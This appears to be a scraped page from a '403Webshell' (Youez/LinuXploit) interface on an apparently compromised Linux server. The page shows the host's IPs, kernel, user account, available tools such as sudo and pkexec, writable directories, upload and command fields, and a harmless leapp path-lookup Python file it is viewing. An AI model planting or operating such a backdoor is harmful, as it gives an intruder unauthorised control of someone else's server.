403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/leapp/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/leapp/utils/path.py
import os


def get_file_path(directories, name):
    """
    Finds the first matching file path within directories.

    :param name: Name of the file
    :type name: str
    :return: Found file path
    :rtype: str or None
    """
    for path in directories:
        path = os.path.join(path, name)
        if os.path.isfile(path):
            return path


def get_folder_path(directories, name):
    """
    Finds the first matching folder path within directories.

    :param name: Name of the folder
    :type name: str
    :return: Found folder path
    :rtype: str or None
    """
    for path in directories:
        path = os.path.join(path, name)
        if os.path.isdir(path):
            return path


def get_tool_path(directories, name):
    """
    Finds the first matching executable file within directories.

    :param name: Name of the file
    :type name: str
    :return: Found file path
    :rtype: str or None
    """
    for path in directories:
        path = os.path.join(path, name)
        if os.path.isfile(path) and os.access(path, os.X_OK):
            return path


# NOTE(ivasilev) You can use the functions below standalone with
# repository = load_repositories_from('repo_path', '/etc/leapp/repo.d/', manager=None)
def get_common_file_path(repository, name):
    return get_file_path(repository.files, name)


def get_common_folder_path(repository, name):
    return get_folder_path(repository.files, name)


def get_common_tool_path(repository, name):
    return get_tool_path(repository.files, name)

Youez - 2016 - github.com/yon3zu
LinuXploit